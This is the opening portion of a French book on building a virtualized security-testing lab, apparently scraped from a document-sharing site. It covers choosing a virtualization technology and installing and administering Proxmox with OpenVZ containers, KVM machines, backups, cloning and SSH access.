Hacking - Un Labo Virtuel Pour Auditer Et Mettre en Place Des Contre-mesures

February 12, 2017 | Author: Rémi Boivin | Category: N/A
Share Embed Donate


Short Description

Download Hacking - Un Labo Virtuel Pour Auditer Et Mettre en Place Des Contre-mesures...

Description

Hacking - Un labo virtuel pour auditer et mettre en place des contre-mesures Informations générales Ce livre s'adresse à toute personne souhaitant s'initier ou se perfectionner dans le domaine de la sécurité informatique, et donc du hacking, et désireuse de faire un point sur ses compétences. Quand une entreprise, un particulier, une association souhaite mettre en place un système d'information, comment vérifier, avant la mise en production, qu'il n'existe pas de faille de sécurité ? Comment tester si les protections mises en place sont efficaces ? Ce livre est conçu pour répondre à ces attentes en guidant le lecteur dans la conception d'un laboratoire virtualisé complet dans lequel de nombreux services seront implémentés. Après cette première phase de création, votre laboratoire virtualisé accueillera votre système d'information et vous pourrez alors attaquer celui-ci afin d'en détecter les failles. Pour vous entraîner à cette phase d'attaque, les auteurs vous proposent de mettre en place dans le laboratoire un ensemble d'éléments faillibles. Ceux-ci sont présentés sous forme d'un challenge de sécurité dédié à l'entraînement. Vous pourrez ainsi vérifier vos compétences et évaluer la qualité des outils d'audit que vous souhaitez utiliser. Les auteurs ont cherché à couvrir le domaine le plus large possible avec un coût très raisonnable en investissement matériel. Ainsi, vous serez confrontés à des failles applicatives, des failles Web, des failles systèmes, etc. Une correction des différentes épreuves vous est proposée. Pour terminer, les solutions pour se protéger et mettre en place les contre-mesures adaptées sont présentées.

Les chapitres du livre : Introduction – Proxmox – Machines virtuelles et services – Mise en place des épreuves – Plateformes d'entraînement – Le matériel indispensable – Sécurisation du PC

Introduction La sécurité informatique est un domaine particulier qui ne peut pas être abordé de la même façon que les autres domaines de l’informatique. Elle ne fait pas l’objet de cours académiques comme ceux que nous pouvons suivre à l’Université. C’est pour cette raison que les plus grands hackers ont rarement un cursus universitaire, car il faut regarder les choses autrement. Pour trouver une faille de sécurité, il n’est pas nécessaire de tout connaître sur tous les systèmes et tous les langages, ce qui est impossible, il faut juste être capable de voir ce que les autres ne voient pas. L’objectif de cet ouvrage est d’apprendre à concevoir un petit laboratoire permettant de s’entraîner à l’audit des systèmes d’information et de tester des solutions logicielles ainsi que quelques éléments matériels.

La lecture de ce livre nécessite certaines connaissances en informatique. Le lecteur doit avoir des notions sur les langages assembleur, PHP et C, ainsi que sur les bases de données et les réseaux. Sans être un expert de chaque domaine, la compréhension de l’ouvrage sera plus aisée si le lecteur dispose de ces bases. Ces connaissances sont indispensables pour aborder le « hacking » mais elles peuvent être acquises au fil de l’eau. Par exemple, lorsque nous parlerons de « BoF » (buffer overflow), le lecteur constatera que des notions d’assembleur sont indispensables. Il pourra alors consulter en parallèle de cet ouvrage un livre sur l’assembleur lui permettant d’appréhender les points traités. Nous rencontrons dans nos différents audits de sécurité des failles extrêmement basiques car le programmeur, bien que connaissant parfaitement le langage qu’il utilise, n’a pas la pensée "programmation sécurisée". Voyons comment nous allons pouvoir progresser dans la sécurisation de systèmes en construisant ce laboratoire. Dans la première partie de l’ouvrage, nous verrons comment installer une multitude de services et de systèmes à moindres frais et en optimisant le temps passé à cette installation. Nous souhaitons avoir un ensemble souple, modulable à souhait et simple d’utilisation. La virtualisation semble donc le meilleur choix, mais laquelle retenir parmi toutes les solutions proposées ? Nous expliquerons pourquoi nous avons opté pour la mise en œuvre d’un serveur Proxmox. Nous passerons à l’installation de celui-ci et détaillerons les principales commandes qui permettent de piloter les machines virtuelles. Nous passerons ensuite à l’installation d’une multitude de services afin de reproduire un petit réseau d’entreprise. Ces services tourneront sous OpenVZ. Nous aborderons alors la mise en place de failles de sécurité permettant d’évaluer vos compétences en test de pénétration de systèmes ainsi que des logiciels d’audit automatisés. OpenVZ ne permettant d’émuler que des systèmes Linux, il sera temps de passer à la virtualisation de machines Windows avec KVM qui est aussi supporté par Proxmox. Nous traiterons l’audit de systèmes Windows et présenterons deux plates-formes d’entraînement à la recherche de failles. Nous terminerons en abordant les problématiques de sécurité plus « physique » mettant en œuvre des matériels spécifiques comme les lecteurs de cartes à puce, les lecteurs RFID, etc. Enfin, nous conclurons avec la sécurisation des systèmes Windows et Linux afin de nous prémunir d’un maximum d’attaques.

Proxmox Présentation Pour concevoir un laboratoire de test principalement orienté systèmes et services, il existe deux méthodes principales : soit acheter autant de machines physiques que de systèmes à installer, soit installer les systèmes dans un environnement virtualisé sur une même machine physique présentant de bonnes performances. La deuxième solution présente deux avantages : réduire le coût et accroître la souplesse et la rapidité d’installation. Le seul bémol est que cette solution reste une virtualisation et qu’il peut arriver qu’un comportement se produise sur un environnement réel et pas dans un environnement virtualisé. Mais cela reste à la marge et les avantages que fournit la virtualisation sont tels que nous avons retenu cette solution.

Il existe actuellement plusieurs méthodes de virtualisation. Nous allons décrire succinctement chacune d’elles et argumenter notre choix dans le cadre de l’application que nous souhaitons réaliser. La virtualisation certainement la plus connue du grand public consiste en une émulation complète du matériel. Cette technique permet d’accueillir pratiquement tous les systèmes d’exploitation car ceux-ci n’ont pas « conscience » d’être dans un environnement virtualisé. Elle a comme avantage de permettre de tester les logiciels et services dans une situation très proche de la réalité lorsque ceux-ci seront mis en production sur de vrais serveurs. Son principal défaut est qu’elle est très gourmande en ressources car il faut pour chaque système émuler tout le matériel et faire « tourner » un nouveau noyau. Nous pouvons citer des solutions comme VirtualBox ou QEMU, qui existent en version libre, ou encore VMware comme solution payante avec néanmoins un « player » gratuit. Celui-ci offre un avantage certain en limitant la consommation des ressources du système accueillant la machine virtuelle par l’utilisation d’un noyau, que nous dirons intermédiaire, le VMKernel. Un autre inconvénient de la virtualisation totale est qu’il est impossible de modifier en dynamique la taille du disque dur ou la quantité de mémoire RAM allouée. Seuls quelques éléments comme le comportement des cartes réseau peuvent être changés en fonctionnement. La deuxième solution de virtualisation est l’utilisation de Xen. Celle-ci offre de très bonnes performances et peut fonctionner suivant différents modes selon le système d’exploitation à mettre en place. Elle permet la mise en œuvre de pilotes matériels virtuels mais aussi un accès direct aux périphériques. Un avantage non négligeable est que les systèmes sont bien isolés entre eux, offrant ainsi une bonne sécurité. C’est pour cette raison que beaucoup d’entreprises retiennent cette solution. Néanmoins, pour tirer pleinement profit de Xen, il est préférable d’installer des systèmes modifiés spécialement dédiés à Xen. On parle alors de paravirtualisation utilisée au travers d’un d’hyperviseur. La mise en place de Xen est plus complexe que les autres solutions et offre moins de souplesse. Bien que ce soit une excellente solution que nous conseillons vivement pour la mise en œuvre de serveurs en production, nous estimons qu’il nous fallait quelque chose de plus souple pour notre laboratoire. La dernière solution que nous présentons est OpenVZ, qui offre une virtualisation au niveau système d’exploitation. Celle-ci offre une très grande souplesse comme le changement de la quantité de mémoire RAM, le nombre de processeurs ou encore la taille des disques en dynamique, sans arrêter les services. De plus, elle n’occasionne une perte que de quelques pour-cent de performance par rapport aux autres solutions présentées, qui elles, sont plus gourmandes en ressources. Tout cela est rendu possible par l’utilisation d’un noyau Linux modifié. Les environnements virtuels (VE) tournent tous avec le même noyau qui est capable de créer plusieurs instances du système totalement isolées les unes des autres. Bien entendu, ceci occasionne une restriction forte au niveau des systèmes d’exploitation qui peuvent être virtualisés, car ils doivent nécessairement être des systèmes Linux. Par contre, leur installation ne prend que quelques secondes de par le mécanisme mis en jeu. C’est donc cette solution que nous retiendrons pour la virtualisation des environnements Linux afin de faire tourner les divers services dont nous avons besoin (Apache, MySQL, DHCP, FTP, etc.). Avec le choix énoncé précédemment, nous ne pouvons pas faire tourner des systèmes Windows, ce qui est inacceptable pour un laboratoire de test. Il faut donc retenir une autre solution. QEMU offre de bonnes performances et, chose très intéressante, il en existe un clone nommé KVM qui est de plus intégré dans une solution proposant OpenVZ : Proxmox.

Proxmox est une solution complète pour la virtualisation intégrant OpenVZ et KVM ainsi qu’une interface de gestion tournant dans un navigateur. Le tout est téléchargeable sous forme d’une ISO incluant un installateur déployant un système Linux avec un noyau modifié pour OpenVZ, un environnement KVM, un serveur Apache, etc.

Installation La première étape consiste à récupérer une image ISO du CD-ROM d’installation disponible sur le site www.proxmox.com à cette adresse : http://www.proxmox.com/downloads/category/iso-images-pve À l’heure où ces pages sont écrites, c’est la version 2.2 de Proxmox VE qui est disponible. Nous la téléchargeons et gravons un CD-ROM afin de procéder à l’installation. Proxmox peut être installé sur des machines ne présentant pas forcément des performances extraordinaires. Mais comme nous comptons mettre en œuvre une dizaine de machines virtuelles, il faut quand même un minimum de ressources. L’environnement minimum que nous vous conseillons est le suivant :   

Un processeur 64 bits, de préférence un i5 ou un i7. Une mémoire RAM de 4 Go. Un disque dur de 500 Go.

Bien entendu, vous pouvez prendre beaucoup plus suivant votre budget et vos objectifs car Proxmox est capable de gérer 64 processeurs et 64 Go de RAM. Entrons dans le vif du sujet en passant à l’installation. Après avoir démarré sur le CD-ROM, nous sommes face à l’écran ci-après proposant des options de démarrage éventuelles. Ici, nous nous contentons d’appuyer sur [Entrée].

Nous acceptons ensuite les termes de la licence.

Nous vérifions que l’installation va se faire sur le bon disque. Celui-ci est indiqué en bas de l’écran, puis nous passons à la suite. Vient alors le choix de la langue, du fuseau horaire et du clavier.

L’étape suivante est importante puisqu’elle va définir un mot de passe pour l’administrateur du serveur. Celui-ci doit être suffisamment robuste car il donnera accès à toutes les machines virtuelles. Il faudra aussi renseigner un e-mail valide.

Nous arrivons alors à la configuration du réseau. Si vous êtes en DHCP, Proxmox utilise automatiquement la configuration qui lui est fournie par le DHCP, sinon il faudra soigneusement renseigner celle-ci.

Tous les renseignements nécessaires à l’installation sont donnés. Le passage à la prochaine étape entraine l’installation proprement dite du serveur.

Si tout se déroule bien, nous arrivons après quelques minutes à l’écran final de l’installation qui nous propose de redémarrer notre serveur.

Nous constatons au redémarrage que nous avons bien un noyau modifié pour Proxmox.

Une fois le serveur complètement démarré, nous constatons que nous ne disposons pas d’environnement graphique, ce qui est normal. Nous avons alors deux solutions pour administrer notre serveur : soit nous identifier en tant qu’utilisateur « root » et gérer les machines virtuelles à l’aide de la ligne de commande, soit nous connecter sur le serveur à l’aide d’un navigateur comme suggéré sur l’écran d’accueil.

Nous retiendrons cette deuxième solution dans un premier temps avant de nous lancer dans la ligne de commande.

Configuration 1. Présentation de l’interface Prenons donc notre navigateur préféré et connectons-nous à l’adresse indiquée. Utilisez l’adresse correspondant à votre situation. Cette adresse n’est accessible qu’en HTTPS et nous devons accepter le certificat car celui-ci est autosigné. Nous sommes alors face à la fenêtre d’identification. Nous choisissons la langue souhaitée et nous identifions en tant qu’utilisateur root.

Notre navigateur affiche normalement l’écran suivant.

En haut à gauche, nous trouvons une liste déroulante permettant de visualiser le serveur de trois façons différentes :   

serveur dossier stockage

En dessous, nous visualisons la représentation demandée. La partie centrale présente un grand nombre d’onglets. Ceux-ci changent en fonction de la sélection que nous faisons dans l’arborescence du serveur. La partie inférieure présente les tâches réalisées et celles en cours dans le premier onglet. Le second onglet nous renseignera sur les logs du serveur. L’objet de cet ouvrage n’est pas un cours Proxmox. Nous vous invitons donc à vous reporter à la documentation en ligne si vous souhaitez aller plus loin. Vous pouvez la trouver à cette adresse : http://pve.proxmox.com/wiki/Main_Page Nous allons ici décrire néanmoins tout ce qui est nécessaire à la réalisation de notre laboratoire. Après ce chapitre, vous saurez déjà utiliser un grand nombre de fonctionnalités de Proxmox.

2. Les conteneurs OpenVZ Passons à la pratique en créant notre première machine virtuelle. Nous découvrions ainsi les différentes fonctionnalités du Proxmox au fur et à mesure. Comme nous l’avons expliqué lors de la présentation des différentes méthodes de virtualisation, le serveur Proxmox propose une virtualisation avec OpenVZ, ce qui sera appelé un conteneur (CT) et une virtualisation complète avec KVM qui sera appelée machine virtuelle (VM). Nous allons commencer par créer un conteneur. Mais avant, il est nécessaire de charger des modèles qui seront utilisés pour sa création. Dans la vue serveur nous cliquons sur le [+] et

sélectionnons la branche local (proxmox). Nous visualisons sur la partie centrale un résumé de l’état de l’espace disque dont nous disposons sur notre serveur. Nous passons à l’onglet Contenu et constatons que nous ne disposons pour le moment d’aucun modèle.Pour en charger un, il faut cliquer sur Modèles. Nous sommes alors face à une liste de modèles disponibles.

Nous voyons qu’il existe quelques systèmes d’exploitation possibles mais surtout, une multitude de services et autres CMS prêts à l’emploi comme LAMP, Drupal, Symfony, etc. Commençons par un système simple et choisissions une Debian-6.0. Nous sélectionnons l’item correspondant dans la liste et cliquons sur Télécharger.

Dans l’arborescence de gauche, si nous nous rendons sur le disque local du Proxmox et que nous sélectionnons l’onglet Contenu du volet de droite, nous visualisons bien l’image que nous venons de télécharger.

Il est possible de récupérer d’autres modèles sur d’autres sources et aussi de créer ses propres modèles. Un exemple de source : http://openvz.org/Download/template/precreated Pour ce qui est de la création de ses propres modèles, ce n’est pas le sujet de ce livre, mais vous pouvez vous reporter à l’exemple de création d’un modèle en suivant ce lien : http://www.webstrat.fr/blog/web-technology/creer-un-template-de-machine-virtuelle-sousopenvz Maintenant que nous disposons d’un modèle, il faut créer le conteneur. Commençons par cliquer en haut à droite sur le bouton Créer CT. Nous sommes alors face à l’écran ci-après.

Le premier champ permet de spécifier le nœud ; ici, il n’y en a qu’un. Ces nœuds permettent de mettre des serveurs Promox en « cluster ». Ceci permet une haute disponibilité des services avec une gestion de machines virtuelles réparties sur plusieurs serveurs physiques. Ce n’est pas notre cas ici et nous travaillerons toujours avec un seul nœud. Par contre, cette possibilité est souvent utilisée par les prestataires proposant des services à haute disponibilité. Il faut ensuite indiquer un numéro unique pour chaque machine, ce sera son ID. Il est automatiquement incrémenté, mais nous pouvons y mettre ce que nous voulons. Laissons la

valeur 100 par défaut. Vient ensuite le nom de la machine, par exemple « WEB1 ». Nous n’avons pas constitué de pool de ressources, ce champ restera donc vide. Nous gardons aussi le champ stockage sur local, car nous n’avons déclaré qu’une zone de stockage disponible pour le moment. Reste le mot de passe à saisir et nous pouvons cliquer sur Suivant.

Nous devons choisir ensuite le modèle avec lequel nous souhaitons créer notre conteneur. Ici, nous n’en trouvons qu’un seul car nous n’en avons téléchargé qu’un. Une fois celui-ci sélectionné, passons à l’étape suivante.

Cette étape nous permet de configurer les ressources de la machine virtuelle. Il faudra ajuster celles-ci en fonction de ce que nous souhaitons faire avec le conteneur (CT). Par exemple, pour un petit serveur web, nous pouvons garder les réglages par défaut. Il sera toujours possible de revenir par la suite sur la mémoire allouée, ou l’espace disque et même sans arrêter les services. C’est un gros avantage d’OpenVZ. Passons à la configuration du réseau en cliquant sur Suivant.

Nous constatons que nous avons deux possibilités pour configurer l’interface réseau de la machine virtuelle. Le mode « venet » ou « mode routé ». Dans ce cas, c’est le serveur OpenVZ qui administre complètement l’interface en lui attribuant une IP qui sera routée par le noyau Linux. L’interface n’a donc pas sa propre adresse MAC, et ne peut pas faire de « broadcast » dans le conteneur. Par contre, la sécurité est renforcée car OpenVZ contrôle tout le trafic qui remonte à la machine virtuelle. De plus, ce mode présente des performances supérieures. Tout ceci est parfait pour fournir un service classique, mais ici notre but est de reproduire de la façon la plus fidèle possible le comportement d’une machine réelle. Dans ce cas, il est préférable d’utiliser le mode « Bridged » (pont). La machine virtuelle se comporte alors comme si elle possédait sa propre carte réseau, elle dispose d’une adresse MAC et peut faire du « broadcast », et par conséquent, la sécurité doit être gérée par le système installé dans le conteneur. Nous choisirons ce mode. Voici un petit tableau qui résume les deux modes exposés. Propriété

Veth

Venet

(Virtual ETHernet)

(Virtual NETwork)

Dispose d’une adresse MAC

Oui

Non

Peut faire du broadcast

Oui

Non

Peut capturer le trafic réseau

Oui

Non

Sécurité du réseau

Basse

Élevée

Peut être utilisée dans un pont

Oui

Non

Supporte l’IPv6

Oui

Oui

Performances Rapide correspond à un accès par pont que nous privilégions ici.

Le mode Veth

Très rapide

Plus que quelques éléments à configurer et notre machine sera prête ; cliquons sur Suivant.

Il n’est pas nécessaire de configurer ici un serveur DNS, nous le ferons dans la machine virtuelle. Passons à la dernière étape.

Nous sommes alors face à un écran qui résume l’ensemble des paramètres que nous venons de configurer. Après une relecture de ceux-ci pour vérification, nous pouvons lancer la création de la machine en cliquant sur Terminé. Après quelques secondes, nous visualisons la confirmation de la création de la machine.

Notre conteneur apparaît dans l’arborescence du Proxmox sur la partie gauche de l’écran. Si nous cliquons dessus, l’écran de droite affiche un résumé de son statut.

Nous voyons que la machine est pour le moment stoppée. Les différents onglets nous permettent de visualiser les ressources occupées, le mode réseau, etc. Lorsque la machine est sélectionnée, un clic sur Démarrer permet de lancer celle-ci. Nous voyons en bas de l’écran les enregistrements des opérations que nous faisons. Une fois la machine démarrée, nous pouvons obtenir une console sur celle-ci en cliquant sur Console en haut à droite de l’écran. Comme le serveur Proxmox a été installé avec un serveur Apache proposant une connexion HTTPS qui dispose d’un certificat autosigné, et que celui-ci a besoin de démarrer une applet

Java pour émuler une console sur la machine virtuelle, notre navigateur nous demande tout naturellement une confirmation avant de lancer le code Java.

Deux confirmations seront demandées. Nous confirmons le lancement en cliquant sur Run. Nous sommes alors face à la console ci-après.

Nous pouvons nous identifier en tant qu’utilisateur « root » avec le mot de passe que nous avons saisi lors de la création de la machine virtuelle. Cette navigation via une application Java n’est pas des plus confortables et nous verrons qu’il est préférable de travailler en connexion SSH, directement sur le serveur quand cela est possible. Nous en avons fini pour le moment avec l’installation de machines en OpenVZ. Nous configurerons dans le chapitre suivant tous les services nécessaires à notre laboratoire de hacking dans ce type de machines virtuelles.

3. Travailler avec une ISO et KVM Comme nous l’avons expliqué, les machines OpenVZ ne peuvent émuler que des systèmes Linux. Il faut donc passer par KVM pour installer un système Windows. Avant de commencer l’installation, il faut dans un premier temps fournir à notre serveur Proxmox une image d’un CD-ROM d’installation. Il est toujours possible d’utiliser le CD-ROM de la machine qui héberge le serveur Proxmox mais ce n’est pas des plus commodes quand le serveur est distant. C’est pour cette raison que nous préférons ici l’utilisation d’une image ISO. La première étape consiste à déposer l’image ISO du CD-ROM sur le serveur. Pour cela, il faut sélectionner le disque local dans l’arborescence du serveur à gauche puis se rendre dans l’onglet Contenu. Nous voyons deux choix apparaître dans le menu de cet onglet : Modèle et Upload. En cliquant sur Upload, le serveur nous ouvre une boîte de dialogue nous demandant d’indiquer où se trouve l’image que nous souhaitons déposer.

Nous choisissons l’image dont nous disposons. Si vous n’avez à votre disposition que le CDROM original de Windows, il est toujours possible d’en faire une image avec k3b par exemple. Mais ce n’est pas le sujet de ce livre. Nous poursuivrons le dépôt en cliquant sur Upload.

L’image de notre CD-ROM remonte sur le serveur. La durée de cette opération peut être variable suivant la rapidité de votre connexion. Une fois l’opération terminée, nous visualisons deux éléments dans Contenu : l’image ISO que nous venons de déposer et le modèle de la Debian.

Nous pouvons passer à la création d’une machine KVM en cliquant sur Créer VM en haut à droite de l’écran. Le premier onglet de la boîte de dialogue qui nous est proposée ressemble fortement à celui de la création de conteneur, mais ici, aucun mot de passe n’est nécessaire. Nous changeons l’ID de la machine en 500 et choisissons Win1 comme nom de VM. Nous passons à l’étape suivante. Il peut être intéressant d’organiser les ID de machines en fonction du système d’exploitation installé. Par exemple, 1xx pour les Linux, 5xx pour les Windows.

Dans cette étape, il faut choisir le type de système d’exploitation que nous voulons installer. Nous voyons qu’il est aussi possible d’installer des systèmes Linux, ce qui semble normal. Mais cette fois, le noyau du système appartiendrait entièrement à la machine virtuelle et ne serait pas partagé avec Proxmox. Dans notre cas, nous choisissons Windows XP/2003 et passons à l’étape suivante.

C’est là que l’image du CD-ROM que nous avons déposée va nous être très utile. Il suffit juste de la sélectionner pour simuler son insertion dans le lecteur de la machine virtuelle. Nous pouvons poursuivre et passer à l’étape de configuration du disque dur.

Le disque dur de la machine est en réalité un fichier. Nous pouvons choisir la façon dont il sera vu dans la machine virtuelle (IDE, SATA, etc.), sa taille et le type d’image disque (raw, QEMU, VMware). Nous conservons les réglages proposés par défaut, sauf la taille que nous

choisissons de réduire un peu. Tout ceci dépend de ce que vous souhaitez faire avec votre machine virtuelle.

L’étape suivante nous permet de choisir le microprocesseur que nous voulons émuler pour notre machine. En réalité, nous allons pouvoir faire fonctionner un Windows 32bits sur un qemu64. Ce paramètre n’est qu’un indicateur pour notre émulation. Nous n’entrerons pas dans les détails techniques du choix du CPU, ce qui nous emmènerait trop loin, mais vous pouvez approfondir vos connaissances à ce sujet en lisant quelques discussions intéressantes : http://rwmj.wordpress.com/2010/10/08/32-or-64-bit-virtual-cpu-in-kvm/ https://www.berrange.com/posts/2010/02/15/guest-cpu-model-configuration-in-libvirt-withqemukvm/ Gardons les réglages par défaut et passons à l’étape suivante.

Cette étape nous permet de régler la quantité de mémoire que nous attribuons à la machine virtuelle. Attention à ne pas trop attribuer de mémoire à une multitude de machines qui vont finir par occuper toute la mémoire de notre serveur et le faire fortement ralentir. Nous conservons donc les 512 Mo proposés et passons à l’étape suivante, la configuration du réseau. Nous disposons de plus d’options que dans le cas des conteneurs. Le premier choix se fait entre Bridged, NAT et No Network. Dans le premier cas, tout se passe comme si la carte réseau de notre machine virtuelle était directement connectée au réseau physique sur lequel se trouve le serveur. La deuxième possibilité est la translation d’adresse. Dans ce cas, il y a un routage entre l’interface réseau de la machine virtuelle et le réseau physique. Le dernier choix est sans intérêt puisqu’il prive notre VM de toute interface réseau. Comme dans le cas de la machine Debian, nous choisissons le mode Bridged pour que notre laboratoire virtuel se rapproche le plus possible de machines réelles et que celles-ci soient vues sur le réseau comme telles. Sur la partie droite de la boîte de dialogue qui nous est proposée, nous pouvons sélectionner le type de carte réseau émulée, choisir éventuellement une adresse MAC pour celle-ci et limiter sa bande passante si nécessaire. Nous conservons les réglages par défaut, qui se prêtent bien à ce que nous souhaitons faire.

La dernière étape nous permet de relire l’ensemble des paramètres réglés pour cette machine et de les confirmer si tout nous semble correct. C’est ce que nous faisons.

En cliquant sur Terminé nous constatons que la machine est immédiatement créée, contrairement à la création de conteneur qui avait nécessité quelques secondes. C’est normal car ici, aucun système n’est encore installé sur la machine. C’est juste une boîte vide pour le moment.

Pour procéder à l’installation de la machine, il faut la démarrer. Pour cela, nous visualisons la liste des machines disponibles dans l’arborescence de notre serveur, sélectionnons la machine 500 et cliquons sur Démarrer. Une fois la machine démarrée, nous pouvons demander une console. Nous pouvons alors installer notre Windows comme nous le faisons habituellement.

Voilà, nous avons à présent deux machines virtuelles installées, une dans un conteneur sous OpenVZ et une autre avec KVM, tout ceci dans la même interface.

4. Effectuer des sauvegardes Créer des machines virtuelles, c’est bien, mais quand nous aurons passé beaucoup de temps à configurer des services et failles de sécurité afin de s’entrainer à l’audit, nous souhaiterons ne pas avoir à refaire tout ce travail si une machine vient à être altérée par une attaque. Il est donc intéressant de pouvoir sauvegarder, restaurer et dupliquer nos VM. Pour la sauvegarde d’une machine virtuelle, il existe plusieurs solutions et plusieurs modes. Proxmox est en effet pensé pour créer des services à haute disponibilité et permet donc d’effectuer des sauvegardes tout en maintenant le service actif. Ce n’est pas pour rien que de grosses entreprises proposant de l’hébergement ont retenu cette solution. Avant d’effectuer toute sauvegarde, il est nécessaire de configurer notre serveur Proxmox pour lui définir un emplacement où enregistrer les images. Pour cela, plaçons-nous tout en haut de l’arborescence sur Centre de données et rendons-nous dans l’onglet Stockage. Nous visualisons un seul stockage disponible, local, qui est utilisé pour les machines virtuelles présentes mais pas pour leur sauvegarde.

Nous allons déclarer à Proxmox un dossier pour la sauvegarde des VM. Dans le menu Ajouter nous disposons de quatre options :    

Directory LVM Group NFS Share iSCSI target

Comme nous sommes partis du principe que nous n’avions qu’un disque pour le moment, nous allons choisir d’indiquer un lieu de sauvegarde sous la forme d’un dossier. Nous choisissons Directory.

Lors de l’installation du serveur, le système de partitionnement a attribué la plus grande partie du disque dur à une partition montée dans le dossier /var/lib/vz. C’est donc dans cette zone que nous allons déclarer l’emplacement des sauvegardes. Nous nommons celle-ci « Dump » et précisons le chemin complet dans Répertoire. Le contenu est exclusivement réservé à la sauvegarde, nous choisissons alors uniquement Backups dans le menu Contenu. Les autres options sont laissées aux valeurs par défaut.

Nous visualisons bien deux déclarations de stockage et voyons apparaître « dump » dans l’arborescence du serveur Proxmox à gauche. Voilà, nous sommes prêts à effectuer la sauvegarde d’une machine. Sélectionnons la VM Debian d’ID 100 dans l’arborescence du Proxmox et rendons-nous dans l’onglet Sauvegarde du panneau de droite.

Nous voyons un menu disposant d’une option Backup now. Cliquons dessus. Nous sommes face à la boîte de dialogue intitulée Sauvegarde CT 100. Plusieurs options nous sont ici proposées, parmi lesquelles l’emplacement où sera sauvegardée l’image de notre machine. Comme nous n’avons déclaré qu’un seul emplacement dédié aux sauvegardes, celui-ci est mis par défaut. Vient ensuite le mode. Il en existe trois :   

Snapshot : qui permet de faire une image de la machine sans suspendre les services de celle-ci. Tout au plus, l’impact de ce mode sur les VM sera de les ralentir. Suspend : qui effectue la sauvegarde de la machine en suspendant temporairement les services. Stop : qui arrête la machine pour en effectuer la sauvegarde.

Nous ne sommes pas ici dans le cas d’un maintien de service absolument obligatoire puisque nous sommes dans un laboratoire. Dans ce cas, il est préférable d’utiliser le mode Stop, qui est celui préconisé si on a le choix. Enfin, il reste à déterminer le mode de compression de l’image. De même, nous ne sommes pas à quelques secondes près et une archive gzip nous permettra d’économiser de l’espace disque. Les options étant réglées, il ne reste plus qu’à cliquer sur Sauvegarde.

Le temps nécessaire pour effectuer la sauvegarde dépend beaucoup de la puissance de votre serveur, de la rapidité de son disque dur et évidemment de la taille de la machine à sauvegarder. Mais cela reste généralement très rapide. Nous remarquons qu’en rafraîchissant la page de notre navigateur, nous voyons apparaître la sauvegarde que nous venons d’effectuer dans la zone de droite.

Il est alors possible à présent de restaurer la machine. Celle-ci se retrouvera exactement dans l’état dans lequel elle se trouvait au moment de sa sauvegarde. Il est vraiment intéressant de sauvegarder des machines, mais il peut aussi être très utile de dupliquer des machines, c’est-à-dire de les cloner. Pour cela, rien de plus simple. Il faut commencer par créer un conteneur et peu importe son contenu. Créons par exemple une VM qui présente les caractéristiques suivantes :    

Nom : WEB2 Mémoire RAM : 512 Mo Disque dur : 1 Go Une interface réseau en Bridge

Pour cloner la machine WEB1 dans la machine WEB2, il suffit de sélectionner la machine WEB2 dans l’arborescence du serveur, de se rendre dans l’onglet Sauvegarde, de sélectionner notre sauvegarde de la machine WEB1 et de cliquer sur Restaurer.

La boîte de dialogue qui se présente devant nous nous indique bien que nous allons restaurer la machine d’ID 102 avec l’image vzdump-openvz-100-xxxx.tar.gz. Lorsque nous cliquons sur Restaurer, un avertissement nous prévient que cela aura pour effet de détruire toutes les données de la machine cible restaurée. Confirmons la restauration. Si l’opération s’est correctement déroulée, nous devons voir apparaître le résumé ci-après.

En allant voir dans l’onglet Ressources de chaque machine, nous constatons que la VM d’ID 102 possède à présent un disque de 4 Go, comme la VM d’ID 100, le clonage ayant reproduit à l’identique la VM d’ID 100. La duplication exactement à l’identique d’une VM va nous poser un problème au niveau de la carte réseau. En effet, si nous visualisons l’onglet Réseau de chaque machine, nous constatons qu’elles ont la même adresse MAC et qu’elles sont connectées sur le même pont (vmbr0) avec le même « Host device name : veth100:0 » qui lui aussi présente la même adresse MAC. Pour éviter tout problème, le mieux est de changer les adresses MAC et de créer une nouvelle interface réseau, voire de détruire l’interface réseau et de la recréer. Nous avons à présent sauvegardé, restauré et cloné des machines. Ceci est très utile lorsqu’on travaille sur des tests d’intrusion.

5. Les commandes de base a. Administrer autrement Proxmox Jusqu’à présent nous avons utilisé l’interface web pour l’administration de notre serveur. Comme celui-ci tourne dans un environnement Linux, il est tout à fait possible d’utiliser une connexion SSH pour accéder au serveur. Si vous êtes sous Windows, je vous conseille d’utiliser Putty, qui est un logiciel libre et permet des connexions de toutes sortes, Telnet, SSH, Série, etc. Vous pouvez télécharger ce logiciel à l’adresse suivante : http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html Il n’y a même pas d’installation à faire, juste à lancer l’exécutable. Nous nous plaçons dans la catégorie Session et saisissons l’IP de notre serveur. Nous pouvons même sauvegarder cette configuration avec Save.

Cliquons sur Open et acceptons la clé qui nous est fournie. Celle-ci sera mémorisée et cette confirmation ne nous sera plus demandée à la prochaine connexion.

Nous saisissions l’identifiant root et son mot de passe. Nous avons alors une console ouverte sur le serveur.

Si vous êtes sous Linux, pas de problème, la commande ssh est native sur le système. Un simple : ssh [email protected]

dans une console, en remplaçant évidemment l’IP indiquée par l’IP de votre serveur, nous permet d’obtenir une invite de commande sur le serveur. Il est aussi possible d’améliorer la sécurité de la connexion en faisant un échange préalable de clés entre les clients autorisés à se connecter et le serveur. Dans la section suivante, nous partons du principe que nous avons établi une connexion SSH entre le serveur et que nous sommes face à l’invite de commande de celui-ci.

b. Petit tour dans l’arborescence de Proxmox Avant de se lancer dans la gestion des machines en ligne de commande, il est intéressant de regarder comment le disque est organisé par Proxmox. La partition la plus grande du disque se trouve montée dans /var/lib/vz. C’est à cet endroit que nous allons trouver nos machines. Entrons dans ce dossier et regardons son contenu, puis celui du sous-dossier private. root@proxmox:~# cd /var/lib/vz root@proxmox:/var/lib/vz# ls -l total 44 drwxr-xr-x 3 root root 4096 Apr 1 09:48 drwxr-xr-x 4 root root 4096 Apr 4 08:52 drwxr-xr-x 2 root root 4096 Apr 4 05:38 drwx------ 2 root root 16384 Jan 2 12:01 drwxr-xr-x 5 root root 4096 Apr 3 11:34 drwxr-xr-x 5 root root 4096 Apr 3 11:34 drwxr-xr-x 5 root root 4096 Jan 2 12:02 drwxr-xr-x 2 root root 4096 Apr 3 11:30 root@proxmox:/var/lib/vz# ls -l private/ total 12 drwxr-xr-x 20 root root 4096 Apr 4 05:38 drwxr-xr-x 20 root root 4096 Apr 3 11:36 root@proxmox:/var/lib/vz#

dump images lock lost+found private root template vztmp 100 102

